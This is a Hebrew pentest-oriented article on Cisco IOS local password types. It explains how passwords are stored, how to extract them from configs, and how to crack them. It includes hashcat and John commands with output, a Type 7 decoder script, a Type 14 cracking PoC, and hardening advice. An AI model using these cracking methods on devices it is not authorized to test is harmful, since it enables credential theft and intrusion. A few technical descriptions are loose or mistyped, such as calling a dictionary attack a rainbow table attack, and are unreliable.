Technologic Papers

Cisco Passwords

מאת אמיל לוין ודר פיינשטיין

הקדמה

במהלך בדיקות חדירות, אין זה דבר נדיר למצוא קובץ קונפיגורציה של רכיב Cisco.

גיבוי של הקונפיגורציה יכול להימצא על מחשב כלשהו ברשת או על שרת שיתוף קבצים. בנוסף, תוכנות מסוימות כמו PuTTY יוצרות קובץ console log שיכול להכיל חלקים של קונפיגורציות של הרכיב אליו מתחברים.

לפעמים מבוצעים גיבויים של הקונפיגורציות בפרוטוקולים העוברים ברשת ב-Clear Text, כמו FTP ו-TFTP. כך ניתן להשיג קונפיגורציות של הרכיב באמצעות הסנפה של התקשורת. כמובן שפעמים רבות ניתן פשוט להתחבר לרכיב Cisco ולהשיג את הקונפיגורציה שלו. בדרך כלל, כשתוקף מצליח להתחבר לרכיב Cisco, הפקודה הראשונה שהוא יריץ היא *show running-config* על מנת לקבל את הקונפיגורציה הנוכחית והעדכנית של הרכיב. התוקף בד"כ מעוניין במידע רגיש המופיע בקונפיגורציה כמו סיסמאות שמורות ו-SNMP Community Strings. בנוסף, תוקף עשוי להשתמש בהגדרות התקשורת על מנת להתפשט ברשת.

במאמר זה נתמקד בסוגי המשתמשים, מנגנוני שמירת הסיסמאות, בדרכים למצוא סיסמאות ובדרכים לפצח את הסיסמאות המאוחסנות באופי מקומי על הרכיב.

משתמשים ברכיבי סיסקו

קיימים שני סוגי משתמשים בהם משתמשים להתחברות וניהול רכיבי Cisco.

1. דומייני
2. מקומי

בארגונים לרוב נשתמש במשתמשים דומיינים. במצב זה, קל יותר לנהל הרשאות, לאכוף התנהלות ולנטר על פעולותיהם.

משתמשים דומיינים

על מנת לחבר את רכיבי התקשורת לדומיין נשתמש בפרוטוקול שנקרא TACACS+ (או קודמו- Radius הפרוץ). פרוטוקול זה מאפשר תקשורת מול שרת שנקרא שרת AAA.

AAA הוא מושג המתאר את היכולות הבאות:

Authentication - זיהוי ואימות זהות המשתמש. (בד"כ באמצעות שם משתמש וסיסמה או מפתחות הצפנה).

Authorization - ניהול הרשאות המשתמש. כלומר, לאחר שהמשתמש עובר את תהליך האימות, איזה פקודות מותר לו להריץ ולאיזה מידע מותר לו לגשת. ההרשאות יכולות להיקבע לפי זמן ביצוע הפעולה, סוג המשתמש, קבוצת משתמשים אליה המשתמש שייך, מיקומו של המשתמש, שיטת החיבור של המשתמש וכו'.

Accounting - ניטור אחר פעולות המשתמש כגון מצב הרכיב בזמן ביצוע הפעולה, זמן ההתחברות לרכיב, מידע אליו המשתמש ניגש וכו'.

שרת ה-AAA מסונכרן מול ה-DC ומאפשר ניטור ואכיפה של התחברויות משתמשים ושל פעולותיהם על בסיס המשתמש הדומייני וההרשאות הדומייניות.

במאמר זה לא נתייחס למשתמשים הדומיינים, מפני שסיסמאותיהם אינן מאוחסנות על הרכיב, אלא רק למשתמשים המוגדרים מקומית.

משתמשים מקומיים

לרוב נשתמש במשתמשים מקומיים כמשתמשי גיבוי. שימוש נוסף הוא היכולת להגדיר interfaces ברכיב כך שעל מנת להתחבר באמצעותם, יש להזין שם משתמש מקומי ואת הסיסמה שלו.

ניתן להגדיר את הרכיב כך שתחילה הרכיב ינסה לאמת את המשתמש מול שרת ה-AAA. אם הוא לא מצליח לתקשר עם השרת הוא ידרדר לנסות לאמת את המשתמש כמשתמש מקומי. אם התקשורת עם שרת ה-AAA תקינה אך השרת לא מזהה את המשתמש, תיווצר שגיאת Authentication Failed ותהליך האימות יעצור (לא יהיה ניסיון אימות כמשתמש מקומי).

כתוצאה מהגדרת שרתי AAA לא הרמטית ו\או קיום משתמשי גיבוי מקומיים עם הרשאות גבוהות (אשר נתונים למדיניות סיסמאות שונה ולרוב מתירנית יותר מהדומיין), קיים הצורך לוודא שהסיסמאות המוגדרות למשתמשים המקומיים עומדות במדיניות הרצויה.

שיטות לשמירת סיסמאות

קיימות שלוש שיטות לשמירת סיסמאות ברכיבי Cisco - בצורה גלויה, בצורה מוצפנת סימטרית ובצורה מגובבת.

שמירת סיסמאות בצורה גלויה לא באמת שומרת על הסיסמאות אלא יותר מאחסנת אותן. אין סיבה להשתמש בשיטה זו כי כיום כמעט כל מערכת תומכת בהצפנה או בגיבוב.

שמירת סיסמאות בצורה מוצפנת (סימטרית) נחשבת טובה אך הבעיה היא שיש צורך לשמור את מפתח ההצפנה במקום מסוים. אם תוקף מגיע למפתח ההצפנה, הוא יכול לגלות את כל הסיסמאות המוצפנות. אלגוריתם ההצפנה בו Cisco משתמשים הוא AES-128.

שמירת סיסמאות בצורה מגובבת נחשבת השיטה הטובה ביותר לשמירת סיסמאות. פונקציית גיבוב קריפטוגרפית (Cryptographic Hash Function) היא פונקציה חד-כיוונית הממירה קלט באורך כלשהו לפלט באורך קבוע וידוע מראש.

פונקציית גיבוב קריפטוגרפית מתוכננת כך שכל שינוי בקלט יגרום לשינוי משמעותי בפלט. מנגנון זה מקשה על מציאת חוקיות מסוימת בפלט שתאפשר לגלות את הקלט. בנוסף, ניתן להוסיף לקלט ערך רנדומלי שנוצר במהלך יצירת הסיסמה. ערך זה נקרא Salt ומטרתו היא להקשות על מניית הסיסמה מהפלט. אלגוריתמי גיבוב בהם Cisco משתמשים הם SHA-256, MD5, SCRYPT ו-PBKDF2-SHA256.

בהמשך המאמר, נסביר בצורה יותר מפורטת על השימושים במושגים שהוזכרו כאן, הן לשמירת הסיסמאות והן לפיצוח הסיסמאות השמורות באופן מגובב.

סוגי סיסמאות

בנתבי / מתגי Cisco קיימות מספר אפשרויות לשמירת הסיסמאות של משתמשים מקומיים. הסיסמאות נשמרות בצורה גלויה (סוג 0), מוצפנת (סוגים 6 ו-7) ומגובבת - Hashed (סוגים 4, 5, 8, 9 ו-14) . יש לשים לב שסוג 0 נשמר בתור password וכל סוג אחר של סיסמה נשמר בתור secret. ברחבי האינטרנט ניתן למצוא מדריכים כלליים על סוגי הסיסמאות, אך חלקם חמקמקים יותר מאחרים. נבצע כאן סקירה מרוכזת על כולם:

Type 0

הסיסמה שמורה בצורה גלויה. פורמט סיסמה כזו הוא:

```
username <USERNAME> password 0 <PASSWORD>
```

לדוגמה:

```
username bob password 0 P@ssw0rd
```

Type 4

נעשה שימוש ב-SHA-256 לשמירת הסיסמה. פגמים משמעותיים במימוש האלגוריתם הופכים את ה-Hash לחלש יותר מה-MD5 של סוג 5. צוות ה-Design של Cisco דרש שימוש באלגוריתם PBKDF2-SHA256 עם 80bit של Salt ו-1,000 איטרציות. בפועל יש רק פעולה אחת של SHA256 על הסיסמה, בלי Salt. לכן אינו מומלץ והוא אף Deprecated החל מ-IOS 15.3.

פורמט סיסמה כזו הוא:

```
username <USERNAME> secret 4 <HASH>
```

לדוגמה:

```
username bob secret 4 g1rTD89b38NIXbGJse.zLc7Cega1TBTlKQNvYDh9Qo6
```

Type 5

הסיסמה שמורה כ-MD5 Hash של הסיסמה עם Salt. בצורה זו לא ניתן להשיג את הסיסמה המקורית מהתוכן של קובץ הקונפיגורציה (פרט למתקפות מילון או לשבירת אלגוריתם ה-Hash).

פורמט סיסמה כזו הוא:

```
username <USERNAME> secret 5 $1$<SALT>$<HASH>
```

לדוגמה:

```
username bob secret 5 $1$w1Jm$bCt7eJNv.CjWPwyfWcobP0
```

Type 6

הסיסמה שמורה לאחר הצפנת AES עם מפתח באורך 128 bit. פורמט זה משמש למצבים בהם נחוצה סיסמה השמורה בצורה הפיכה כמו מפתח הצפנה ל-VPN.

פורמט סיסמה כזו הוא:

```
username <USERNAME> password 6 <ENCRYPTED-PASSWORD>
```

לדוגמה:

```
username bob password 6 fZbe^WdXO`^O[YF`XLCfBV\BK`hMge]HF
```

Type 7

הסיסמה שמורה בצורה מוצפנת אך חלשה, שכן ניתן לפענח בקלות (פחות משנייה) את הסיסמה באמצעות כלים אינטרנטיים. אלגוריתם זה מסתמך על צופן vigenere ההפיך. בשל מנגנון הצופן, פורמט זה לשמירת הסיסמה מהווה רק קידוד של הסיסמה. לכן, יש להתייחס לסיסמה זו כ-obfuscated ולא כמוצפנת.

פורמט סיסמה כזו הוא:

```
username <USERNAME> password 7 <OBFUSCATED-PASSWORD>
```

לדוגמה:

```
username bob password 7 08116C5D1A0E550516
```

Type 8

נעשה שימוש ב-PBKDF2-SHA256, המשתמש באלגוריתם המתקן את הפגמים של סוג 4. נעשה שימוש ב-Salt של 80bit וביצוע של 20,000 איטרציות בחישוב. סוג זה נתמך החל מגרסה 15.3(3).

פורמט סיסמה כזו הוא:

```
username <USERNAME> secret 8 $8$<SALT>$<HASH>
```

לדוגמה:

```
username bob secret 8 $8$dsYGNam3K1SIJO$7nv/35M/qr6t.dVc7UY9zrJDWRVqncHub1PE9UlMQFs
```

Type 9

נעשה שימוש באלגוריתם SCRYPT (משתמש ב-SHA-256 בין היתר). ה-Hash כולל 80bit Salt ומתבצעות 16,384 איטרציות בחישוב. כוח העיבוד הרב הדרוש לביצוע ה-Hash מקשה מאוד על ניסיונות Brute Force. סוג זה נתמך החל מגרסה 15.3(3) או 15.4. פורמט סיסמה כזו הוא:

```
username <username> secret 9 $9$<salt>$<hash>
```

לדוגמה:

```
username bob secret 9 $9$nhEmQVczB7dqsO$X.HsgL6x1il0RxkOSSvyQYwucySCt7qFm4v7pqCxkKM
```

Type 14

סוג סיסמה זה נקרא convoluted9. גם אם יצא לכם לקנפג רכיבי Cisco לא בטוח שנתקלתם בסוג הזה. מדובר ב-SCRYPT המבוצע על MD5 (בעצם 5 + 9 שווה 14 ☺) סוג סיסמה זה נתמך בגרסאות Cisco IOS XE 16.11.2 Gibraltar ומעלה. סיסמה מסוג זה יכולה להיווצר גם כאשר מתבצע שדרוג מהגרסאות Cisco IOS XE Fuji 16.9.x \ 16.10.x \16.11.x \ 16.12.x בפועל יתבצע אלגוריתם SCRYPT על ה-MD5 של כל סיסמה מסוג 5.

לדוגמה:

```
username bob secret 5 $1$dNmW$7jWhqdtZ2qBVz2R4CSZZC0
```

יומר ל:

```
username bob secret 9 $14$dNmW$QykGZEEGmiEGrE$C9D/fD0czicOtgaZAa1CTa2sgygi0Leyw3/cLqPY426
```

במידה ויבוצע downgrade לגרסה שלא תומכת בסוג סיסמה זה (גרסה נמוכה מ-Cisco IOS XE Gibraltar 16.11.2), המשתמש שעליו מוגדרת הסיסמה לא יעבוד. מצב זה יכול לגרום לנעילה מחוץ לרכיב.

מציאת הסיסמאות

כל סיסמאות המשתמשים המקומיים נמצאות בקונפיגורציה של הרכיב. לרכיב Cisco שתי קונפיגורציות:

אחת נדיפה בזכרון, הנקראת Running-Config. ואחת בלתי נדיפה בדיסק, הנקראת Startup-Config.

ניתן לבדוק בכל שלב את השינויים בין הקונפיגורציות בעזרת הפקודה:

```
Show archive config differences
```

חשוב לבדוק שאין שינויים שבוצעו (מופיע ב-Running Config) ולא נשמרו על הדיסק (ב-Startup Config). אם זה המצב, ניתן יהיה לבצע ריסטרט לרכיב וסיסמאות של משתמשים עלולות להשתנות, משתמשים יכולים להתווסף/להימחק וכו'. לכן, אם נרצה להיות יסודיים כשנחפש סיסמאות, נחפש ב-2 הקונפיגורציות.

כעת נעבור לאיסוף הסיסמאות.

קיימים שני סוגי סיסמאות:

- **סיסמת משתמש** - סיסמה שנועדה לחיבור של משתמשים לרכיב.
- **סיסמת Enable** - סיסמה לגישה לרמת הרשאות מסוימת המצוינת בשורת הקונפיגורציה של הסיסמה. לדוגמה, גישה למצב enable.

לצורך הדוגמה, ניעזר בקונפיגורציה הנוכחית, אותה נציג בעזרת הפקודה:

```
show running-config
```

בתוך הקונפיגורציה נוכל לייצא את השורות הרלוונטיות למשתמשים בעזרת ה-Regex הבא:

```
username (\w+) (?:password|secret) (\d+) (?: privilege (\d+))?(.*)
```

או סיסמת enable:

```
enable (?:password|secret) (?:level (\d+) )?(\d+)?(.*)
```

פיצוח האשים

כמו שהוזכר כבר, הסיסמאות נשמרות בצורה גלויה (סוג 0) או בצורה מוצפנת (סוגים 6 ו-7) או בצורה מגובבת / Hashed (סוגים 4, 5, 8, 9, 14).

את סוג 0 לא נצטרך לפצח כמובן, סוג 7 ניתן להפיכה בקלות ולא דורש כמעט משאבי חישוב. את סוג 6 מאוד קשה לפצח ולא נתייחס לסוג זה כאן.

לעומת זאת, כדי לפצח את הסיסמאות השמורות בצורה מגובבת, ידרשו יותר משאבי חישוב. במצב זה, נצטרך להשתמש במתקפה שנקראת Rainbow Table Attack. מתקפה זו משתמשת בטבלה המכונה Rainbow Table ומכילה סיסמאות שכבר גובבו בפונקצית גיבוב. פונקציית הגיבוב תהיה פונקציית הגיבוב שהשתמשו בה לגיבוב הסיסמה שנרצה לפצח. אם יש שימוש ב-Salt, נצטרך להשתמש ב-Salt בפונקציית הגיבוב שבעזרתה ניצור את הטבלה ולא נוכל להשתמש בטבלה מוכנה מראש. הסיסמאות בהן נשתמש בטבלה יהיו בד"כ סיסמאות נפוצות או סיסמאות שאנחנו יודעים שייתכן שהארגון משתמש בו. לאחר בניית הטבלה, ניתן להשוות את הסיסמה המגובבת לכל אחד מהערכים המגובבים בטבלה.

מכאן, כאשר אנחנו מנסים לפצח סיסמאות מגובבות, המגבלה היחידה שלנו היא הזמן. תיאורטית, עם מספיק זמן, נוכל להשוות את כל האפשרויות של הסיסמאות המגובבות מול הסיסמה המגובבת שאנחנו רוצים לפצח.

קיימות פונקציות גיבוב רבות ושונות כאשר ההבדלים הרלוונטיים לנו ביניהן הוא הזמן שלוקח לפונקציה להמיר את הקלט לפלט והזמן שלוקח להשוות בין שני פלטים. ככל שזמנים אלו ארוכים יותר, ייקח לנו יותר זמן ליצור את ה-Rainbow Table ויותר זמן להשוות את הסיסמאות.

איפה שניתן, נשתמש בכלים מוכנים לפיצוח סיסמאות.

Hashcat הוא, כפי שמפתחיו מצהירים, הכלי המהיר ביותר בעולם לפריצת סיסמאות. הוא יכול לרוץ על Linux, Windows, MAC OS X וכן, לרוץ על מגוון סוגי מעבדים ו-GPUs. בנוסף, הוא משתמש במגוון אופטימיזציות להשוואת ערכי Hash וערכים מוצפנים (בין היתר כאלה אשר עוקפות צווארי בקבוק חומרתיים, כמו רוחב הפס של PCI-E). הכלי Hashcat תומך בפונקציות גיבוב רבות ביניהן פונקציות LM hash של Windows, MD4, MD5 SHA, פורמטי Crypt שונים ללינוקס, MySQL ו-Cisco PIX.

John the Ripper היא תוכנת קוד פתוח, המשמשת לאימות נתונים ופיצוח סיסמאות מוצפנות. התוכנה נכתבה בשפת C ופותחה על ידי החוקר Solar Designer. ל-John the Ripper יכולת פיצוח סיסמאות מגובבות ומוצפנות בשיטות רבות כגון: DES, MD4, MD5, Blowfish, LM, BSD, ו-Kerberos.

לאחר שהכנסנו את הסיסמאות בפורמט password:user לקובץ בו כל שורה מייצגת סיסמה אותה נרצה לפרוץ, כמו ש-Hashcat ו-John the Ripper אוהבים, נוכל להתחיל לפצח אותן.

Type 4

כאן John the Ripper הרבה יותר יעיל מ-Hashcat ולכן נשתמש בו:

```
john --format=Raw-SHA256 --wordlist=<wordlist> --fork=4 <Hashes.txt>
```

```
┌──(dw㉿kali)-[~/Desktop]
└─$ john --format=Raw-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt -fork=4 pass4.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA256 [SHA256 256/256 AVX2 8x])
Node numbers 1-4 of 4 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
P@ssw0rd         (bob)
1 1g 0:00:00:00 DONE (2023-03-05 09:39) 100.0g/s 204800p/s 204800c/s 204800C/s horoscope..00112233
Waiting for 3 children to terminate
2 0g 0:00:00:00 DONE (2023-03-05 09:39) 0g/s 12806Kp/s 12806Kc/s 12806KC/s !!nefty!!.abygurl69
4 0g 0:00:00:00 DONE (2023-03-05 09:39) 0g/s 12806Kp/s 12806Kc/s 12806KC/s !!peanut!!..*7¡Vamos!
3 0g 0:00:00:00 DONE (2023-03-05 09:39) 0g/s 12806Kp/s 12806Kc/s 12806KC/s !!push696!!.a6_123
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed

┌──(dw㉿kali)-[~/Desktop]
└─$ john --show --format=Raw-SHA256 pass4.txt
bob:P@ssw0rd

1 password hash cracked, 0 left
```

Type 5

```
hashcat -m 500 --username -O -a 0 <hashes.txt> <wordlist.txt>
```

```
$1$w1Jm$bCt7eJNv.CjWPwyfWcobP0:P@ssw0rd
Session..........: hashcat
Status...........: Cracked
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$w1Jm$bCt7eJNv.CjWPwyfWcobP0
Time.Started.....: Sun Feb 19 03:38:22 2023 (1 sec)
Time.Estimated...: Sun Feb 19 03:38:23 2023 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    11480 H/s (11.98ms) @ Accel:512 Loops:250 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 8196/14344385 (0.06%)
Rejected.........: 4/8196 (0.05%)
Restore.Point....: 6146/14344385 (0.04%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:750-1000
Candidates.#1....: gemini1 → thekillers
Started: Sun Feb 19 03:37:53 2023
Stopped: Sun Feb 19 03:38:24 2023
```

Type 7

ישנן שתי דרכים לבצע את הפענוח לסוג 7. הראשונה, בעזרת סקריפט פייתון קצר וחמוד:

```
import random, re
xlat = [0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41, 0x2c, 0x2e, 0x69,
0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53, 0x55,
0x42, 0x73, 0x67, 0x76, 0x63, 0x61, 0x36, 0x39, 0x38, 0x33, 0x34, 0x6e, 0x63,
0x78, 0x76, 0x39, 0x38, 0x37, 0x33, 0x32, 0x35, 0x34, 0x6b, 0x3b, 0x66, 0x67,
0x38, 0x37]
def decrypt_type7(ep):
    dp = ''
    regex = re.compile('(^[0-9A-Fa-f]{2})([0-9A-Fa-f]+)')
```

```
    result = regex.search(ep)
    s, e = int(result.group(1)), result.group(2)
    for pos in range(0, len(e), 2):
        magic = int(e[pos] + e[pos+1], 16)
        if s <= 50:
            # xlat length is 51
            newchar = '%c' % (magic ^ xlat[s])
            s += 1
        if s == 51: s = 0
        dp += newchar
    return dp
file_path = input()
f = open(file_path) # username:password format expected
for line in f:
    result = line.split(":")
    if(result[1]):
        print("Decrypted {}'s password: {}".format(result[0], decrypt_type7(result[1])))
```

והפלט:

```
C:\Users\User\Desktop\password7.txt
Decrypted bob's password: P@ssw0rd
```

הדרך השניה מאפשרת פענוח של הסיסמה על הרכיב אך מצריכה הרשאות לעריכת הקונפיגורציה (configure):

אחרי שנכנס ל-conf t (קיצור ל-Configure Terminal) נוכל ליצור key chain, בתוכו ליצור key ואז להכניס את הסיסמה של המשתמש בתור key-string 7:

```
Nati(config)#do sh run | inc username
username admin secret 5 $1$pB/i$VjTP3s4SdDJxbhDh60.zo.
username test password 7 111D1C1603
username emil password 7 070A2C4542
username dar password 7 123804464058585170
Nati(config)#key chain test
Nati(config-keychain)#key 1
Nati(config-keychain-key)#key-string 7 123804464058585170
Nati(config-keychain-key)#do sh key chain test
Key-chain test:
    key 1 -- text "Aa123456"
        accept lifetime (always valid) - (always valid) [valid now]
        send lifetime (always valid) - (always valid) [valid now]
```

מההיבט ההגנתי, ניתן לנטר על שימוש בפקודות אילו בעזרת הלוגים על הרכיב (ולשלוח אותם לשרת Syslog):

```
Feb 19 09:44:47.109: %SYS-5-CONFIG_I: Configured from console by admin on vty0 (90.210.1.254)
Feb 19 09:45:12.080: %PARSER-5-CFGLOG_LOGGEDCMD: User:admin  logged command:key *****
Feb 19 09:45:14.131: %PARSER-5-CFGLOG_LOGGEDCMD: User:admin  logged command:key *****
Feb 19 09:45:21.044: %PARSER-5-CFGLOG_LOGGEDCMD: User:admin  logged command:key-string *****
Feb 19 09:45:54.803: %PARSER-5-CFGLOG_LOGGEDCMD: User:admin  logged command:username dar password *****
Feb 19 09:45:54.803: %PARSER-5-CFGLOG_LOGGEDCMD: User:admin  logged command:!config: USER TABLE MODIFIED
Feb 19 09:45:59.662: %PARSER-5-CFGLOG_LOGGEDCMD: User:admin  logged command:username dar password *****
Feb 19 09:45:59.662: %PARSER-5-CFGLOG_LOGGEDCMD: User:admin  logged command:!config: USER TABLE MODIFIED
Feb 19 09:46:21.979: %PARSER-5-CFGLOG_LOGGEDCMD: User:admin  logged command:key *****
Feb 19 09:46:24.025: %PARSER-5-CFGLOG_LOGGEDCMD: User:admin  logged command:key *****
Feb 19 09:46:30.138: %PARSER-5-CFGLOG_LOGGEDCMD: User:admin  logged command:key-string *****
```

באמצעות מערכות AAA, ניתן גם לחסום ולנטר את ביצוע הפקודות על ידי משתמש דומייני.

Type 8

```
hashcat -m 9200--username -O -a 0 <hashes.txt> <wordlist.txt>
```

```
$8$dsYGNam3K1SIJO$7nv/35M/qr6t.dVc7UY9zrJDWRVqncHub1PE9UlMQFs:cisco

Session..........: hashcat
Status...........: Cracked
Hash.Name........: Cisco-IOS $8$ (PBKDF2-SHA256)
Hash.Target......: $8$dsYGNam3K1SIJO$7nv/35M/qr6t.dVc7UY9zrJDWRVqncHub ... UlMQFs
Time.Started.....: Sun Feb 19 03:46:19 2023 (10 secs)
Time.Estimated ...: Sun Feb 19 03:46:29 2023 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     2608 H/s (9.13ms) @ Accel:256 Loops:512 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 24576/14344385 (0.17%)
Rejected.........: 0/24576 (0.00%)
Restore.Point....: 23552/14344385 (0.16%)
Restore.Sub.#1 ...: Salt:0 Amplifier:0-1 Iteration:19968-19999
Candidates.#1....: tajmahal → 280789

Started: Sun Feb 19 03:46:06 2023
Stopped: Sun Feb 19 03:46:30 2023
```

Type 9

```
hashcat -m 9300 --username -O -a 0 <hashes.txt> <wordlist.txt>
```

```
$9$nhEmQVczB7dqsO$X.HsgL6×1il0RxkOSSvyQYwucySCt7qFm4v7pqCxkKM:cisco

Session..........: hashcat
Status...........: Cracked
Hash.Name........: Cisco-IOS $9$ (scrypt)
Hash.Target......: $9$nhEmQVczB7dqsO$X.HsgL6×1il0RxkOSSvyQYwucySCt7qFm ... qCxkKM
Time.Started.....: Sun Feb 19 03:49:12 2023 (22 secs)
Time.Estimated ...: Sun Feb 19 03:49:34 2023 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     1107 H/s (13.27ms) @ Accel:4 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 24512/14344385 (0.17%)
Rejected.........: 0/24512 (0.00%)
Restore.Point....: 24496/14344385 (0.17%)
Restore.Sub.#1 ...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: crying → chloe01

Started: Sun Feb 19 03:48:46 2023
Stopped: Sun Feb 19 03:49:35 2023
```

Type 14

על מנת לפצח את ההאשים מסוג 14, נצטרך להפעיל MD5 עם ה-salt (שמופיע בקונפיגורציה) ואז Scrypt עם ה-salt (שמופיע בקונפיגורציה) על כל סיסמה ברשימת הסיסמאות שלנו. לכן, מניית סיסמאות מסוג זה תיקח משמעותית יותר זמן ממניית שאר סוגי הסיסמאות.

לשם כך, כתבנו PoC שמבצע את זה. הוא פחות יעיל מ-Hashcat או John The Ripper שמשתמשים בשיטות יעילות לפיצוח הסיסמאות. בכל מקרה, זה יותר טוב מכלום ולא מצאנו שום תיעוד למשהו דומה באינטרנט.

ה-PoC נעזר בפרויקט המצוין ciscoPWDhasher של BrettVerney שמבצע hashes מסוג 5 ו-9.

```
import hashlib
import scrypt
import base64
from passlib.hash import md5_crypt
import argparse
import multiprocessing
import functools
import time

# Translate Standard Base64 table to Cisco Base64 Table used in Type8 and TYpe 9
std_b64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
cisco_b64chars = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
b64table = str.maketrans(std_b64chars, cisco_b64chars)

def pwd_check(pwd):
    invalid_chars = r"?\""
    if len(pwd) > 127 or any(char in invalid_chars for char in pwd):
        return False
    return True

def type5(pwd, salt):
    return md5_crypt.using(salt_size=4, salt=salt).hash(pwd)

def type9(pwd, salt):
    # Create the hash
    pwd_hash = scrypt.hash(pwd.encode(), salt.encode(), 16384, 1, 1, 32)
    # Convert the hash from Standard Base64 to Cisco Base64
    pwd_hash = base64.b64encode(pwd_hash).decode().translate(b64table)[:-1]
    # Print the hash in the Cisco IOS CLI format
    password_string = f'{pwd_hash}'
    return password_string

def type14(word, type5_salt, type9_salt):
    word = word.rstrip()
    if pwd_check(word):
        return type9(type5(word, type5_salt), type9_salt), word
    return False

def parse_convoluted_password(pwd):
```

```
    _, _, type5_salt, type9_salt, hashed_pwd = pwd.split("$")
    return type5_salt, type9_salt, hashed_pwd


def main():
    parser = argparse.ArgumentParser(description="Tries to Crack Cisco Convoluted 9 Passwords")
    parser.add_argument("-p", "--password", required=True)
    parser.add_argument("-w", "--wordlist", required=True)
    parser.add_argument("-t", "--threads", type=int, default=1)
    args = parser.parse_args()



    pool = multiprocessing.Pool(args.threads)
    type5_salt, type9_salt, hashed_pwd = parse_convoluted_password(args.password)
    hashed_wordlist = []

    partial_process_line = functools.partial(type14, type5_salt=type5_salt,
                                             type9_salt=type9_salt)

    with open(args.wordlist) as words:
        results = pool.map(partial_process_line, words)
        for result in results:
            if result[0] == hashed_pwd:
                print(result[1])
                pool.terminate()
                break

if __name__ == "__main__":
    start_time = time.time()
    main()
    print("--- %.2f seconds ---" % (time.time() - start_time))
```

ביצועים של בדיקה מול מיליון סיסמאות (לצערנו ב-BASH צריך לעשות escaping ל-$):

10Threads:

```
(type14)                                    python3 type14.py -p \$14\$dNmW\$QykGZEEGmi
EGrE\$C9D/fD0czicOtgaZAa1CTa2sgygi0Leyw3/cLqPY426 -w 10-million-password-list-top-1
000000.txt -t 10
abcd
--- 720.67 seconds ---
```

5Threads:

```
(type14)                                    python3 type14.py -p \$14\$dNmW\$QykGZEEGmi
EGrE\$C9D/fD0czicOtgaZAa1CTa2sgygi0Leyw3/cLqPY426 -w 10-million-password-list-top-1
000000.txt -t 5
abcd
--- 959.69 seconds ---
```

טבלת פיצוח ההאשים

סוג	קושי פיצוח	מהירות מקסימלית	John the Ripper	Hashcat
0	instant	instant	n/a	n/a
7	instant	instant	n/a	n/a
4	easy	26.4 million per second	--format=Raw-SHA256	-m 5700
5	medium	1.2 million per second	--format=md5crypt	-m 500
8	hard	11.6 thousand per second	--format=pbkdf2-hmac-sha256	-m 9200
9	very hard	1.8 thousand per second	--format=scrypt	-m 9300
14	super hard (using our poc)	1.041 thousand per second (5t) 1.388 thousand per second (10t)	n/a	n/a

הקשחה וסיכום

כעת, כשאנחנו יודעים לאיזה משתמשים יש סיסמאות חלשות, נוכל להתחיל לטפל בבעיה. השלב הראשון הוא להבין באילו רכיבים ניתן לשדרג את הסיסמה כך שתישמר בצורה יותר מאובטחת.

אין שום סיבה להשתמש בסוגים 0, 4 ו-7, יש להחליף אותם מיידית. סוג 5 ניתן לשבירה בקלות יחסית ולכן עדיף להשתמש בו רק במקרים בהם 8 ו-9 לא זמינים.

גם במקרים בהם הסיסמה שמורה בצורה מאובטחת יחסית נצטרך לוודא שהסיסמה חזקה, שכן ההצפנה שלה לא משנה אם התוקף ינסה להתחבר עם הסיסמה "123456" ויצליח. בנוסף, שימוש בסיסמה חזקה יקשה על ביצוע מתקפת Rainbow Table Attack. לכן נמליץ להשתמש בכלים שנתנו לכם בסקירה על מנת לאכוף את מדיניות הסיסמאות הארגונית ולמנוע את התפשטות התוקף הבא.

ביבליוגרפיה

- Security Configuration Guide, Cisco IOS XE Gibraltar 16.12.x (Catalyst 9600 Switches) - Controlling Switch Access with Passwords and Privilege Levels
- Configuring Type 6 Passwords in IOS XE - Cisco Community
- Network Infrastructure Security Guide
- Cisco Password Types: Best Practices
- Cisco Password Cracking and Decrypting Guide - InfosecMatter
- Understand the AAA Authentication Login Default Local Group TACACS+ Command - Cisco
- Configure Basic AAA on an Access Server - Cisco
- Расшифровываем пароли, зашифрованные с помощью service password-encryption ~ Сетевые заморочки
- GitHub - BrettVerney/ciscoPWDhasher: A Python Cisco IOS, IOS-XE and NX-OS password hashing
- John the Ripper - ויקיפדיה
- Hashcat - ויקיפדיה